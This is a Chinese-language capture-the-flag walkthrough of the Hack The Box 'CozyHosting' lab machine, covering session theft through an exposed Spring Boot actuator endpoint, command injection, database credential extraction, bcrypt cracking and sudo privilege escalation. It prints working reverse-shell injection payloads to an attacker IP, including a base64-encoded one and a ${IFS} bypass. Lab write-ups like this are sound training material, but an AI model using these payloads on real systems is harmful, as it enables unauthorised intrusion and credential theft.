HTB - CozyHosting - WriteUp

发布时间 2023-09-11 17:51:03作者: lockly

CozyHosting

前言:抓紧赛季末上一波分,错过开vip才能练了

信息收集

扫描看看端口的开放情况,开了22,80,5555。这里fscan显示会跳转到cozyhosting.htb

image-20230909005140148

那就需要修改hosts文件,将cozyhoting.htb解析到ip即可访问到80端口的站点:

image-20230909005708790

目录探测

用dirsearch发现泄露了/actuator目录,那应该就是使用的springboot框架。

image-20230909010616276

敏感信息泄露

首先去访问/actuator/env。如下很多信息都被*号脱敏,尝试通过/actuator/heapdump或者heapdump去下载JVM堆栈信息但都失败了。

image-20230909011542879

但是在访问到/actuator/sessions的时候发现了cookie。

image-20230909011051178

抓包改两次JSESSIONID也行,但用插件修改cookie登录上去更快一些。

image-20230909011222124

进入后台的面板,里面有一个貌似可以执行ssh命令的地方,那就有大概率存在命令注入。

image-20230909011354664

命令注入

base64绕过

抓包,尝试一下。出现错误会返回ssh的命令帮助。

image-20230909220947876

经过几种尝试发现这样可以执行命令:

image-20230909223102000

直接使用反弹shell的语句他提示不能包含空格,url编码也不行。

image-20230911165629113

绕过空格就用${IFS}替换变量,再经过一次url编码,但还是不成。

image-20230911171049907

尝试用base64编码之后再执行可以成功反弹shell。

;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvOTk5OSAwPiYx"|base64${IFS}-d|bash;`

image-20230911170512681

分段反向shell

然后还学习到一个新姿势,查了一些资料。首先使用如下命令来创建一个与攻击者的tcp连接,并将标准输入(0)重定向到这个连接,sh是一个子shell的标记,用来在括号内执行命令。

;`(sh)0>/dev/tcp/10.10.14.21/9999`

之后执行如下将标准输出(1)和标准错误(2)都重定向到标准输入(0),exec会替代当前shell进程,不会创建一个新进程。

exec >&0

最后再使用下面的启动一个新的交互式bash,将输出记录到/dev/null中就会被抛弃。这样执行的命令不会在目标上留下任何痕迹了。

script /dev/null -c bash

最后成功反弹shell.

image-20230911104553199

反编译jar包

基础的信息收集完之后没有发现有其他网段,当前目录下没有user flag但是有一个jar包,发现有python环境就直接下载下来。

image-20230911111736709

将jar包放到一个目录下,创建一个用来存放反编译后的文件的目录。之后找到java-decompiler.jar的位置,使用高版本的jdk去执行如下:

 C:\Users\admin\.jdks\openjdk-20.0.2\bin\java.exe -cp "D:\software\jetbrains\apps\IDEA-U\ch-0\232.8660.185\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\cloudhosting-0.0.1.jar .\cloudhosting\

image-20230911112911142

敏感信息泄露

在设置的目录里面解压那个jar包,在idea中打开搜索一些关键字,找找配置文件,就翻到了数据库的连接账号和密码。这里还可以看到他使用的是cozyhosting这个库。

image-20230911113320838

连接postgres

可以看到postgres的服务是开着的。

image-20230911113819694

连接上数据库,列出的有两个表格一个host和一个user,显然要关注user表,查询得到的加密字符串一眼bcrypt。

app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue 

         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

(END)q
cozyhosting=# 
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue 

   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

(END)q
cozyhosting=# 
cozyhosting=#    

密码破解

想先爆破一下kanderson用户的但是出不来,想了想有可能是个测试用户,在idea中去搜索关键字找到了他的密码。

image-20230911160502281

接着对admin进行破解,得到密文:manchesterunited

┌──(root㉿Lockly)-[/mnt/c/Users/admin]
└─# john -w=/usr/share/wordlists/rockyou.txt admin
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:19 DONE (2023-09-11 16:00) 0.05141g/s 144.3p/s 144.3c/s 144.3C/s onlyme..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ssh连接

直接连ssh失败了,密码一个个敲了三遍都是错的。可能不是这个用户的。

image-20230911161131309

回去看一下/etc/passwd,发现这台机器里面的用户有app, josh, postgres和root。

image-20230911160734101

用josh连接成功,在当前目录下就有user flag。

image-20230911161112574

提权

linpease探测

上传linpease搜集一些信息,发现sudo有suid滥用

image-20230911162022686

suid滥用提权

直接去gtfobins上面找到命令提权。

image-20230911162146787

root flag在/root目录下面,flag都到手了完结撒花。

image-20230911162334836